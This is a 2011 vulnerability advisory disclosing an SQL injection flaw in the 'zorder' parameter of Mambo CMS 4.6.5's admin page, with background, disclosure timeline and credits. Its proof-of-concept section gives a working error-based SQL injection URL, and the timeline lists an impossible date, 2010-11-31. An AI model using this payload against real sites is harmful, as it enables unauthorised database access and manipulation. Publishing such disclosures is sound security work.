=========================================
Mambo CMS 4.6.x (4.6.5) | SQL Injection
=========================================


1. OVERVIEW

Mambo CMS 4.6.5 and lower versions are vulnerable to SQL Injection.


2. BACKGROUND

Mambo is a full-featured, award-winning content management system that can be used for everything from simple websites to complex corporate applications. It is used all over the world to power government portals, corporate intranets and extranets, ecommerce sites, nonprofit outreach, schools, church, and community sites. Mambo's "power in simplicity" also makes it the CMS of choice for many small businesses and personal sites.


3. VULNERABILITY DESCRIPTION

The "zorder" parameter was not properly sanitized upon submission to the administrator/index2.php url, which allows attacker to conduct  SQL Injection attack. This could an attacker to inject or manipulate SQL queries in the back-end database, allowing for the manipulation or disclosure of arbitrary data.


4. VERSIONS AFFECTED

Tested on Mambo CMS 4.6.5


5. PROOF-OF-CONCEPT/EXPLOIT

http://localhost/mambo/administrator/index2.php?limit=10&order[]=11&boxchecked=0&toggle=on&search=sqli&task=&limitstart=0&cid[]=on&zorder=-1 OR (SELECT 9999 FROM(SELECT COUNT(*),CONCAT(CHAR(58,98,112,101,58),(SELECT (CASE WHEN (9999=9999) THEN 1 ELSE 0 END)),CHAR(58,110,100,107,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&filter_authorid=62&hidemainmenu=0&option=com_typedcontent


6. SOLUTION

The vendor seems to discontinue the development. It is recommended to use another CMS in active development.


7. VENDOR

Mambo CMS Development Team
http://mambo-developer.org


8. CREDIT

This vulnerability was discovered by Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.


9. DISCLOSURE TIME-LINE

2010-11-31: notified vendor through bug tracker
2011-08-12: no patched version released up to date
2011-08-12: vulnerability disclosed


10. REFERENCES

Original Advisory URL: http://yehg.net/lab/pr0js/advisories/[mambo4.6_x]_sql_injection
Mambo CMS: http://mambo-code.org/gf/download/frsrelease/388/791/MamboV4.6.5.zip


#yehg [2011-08-12]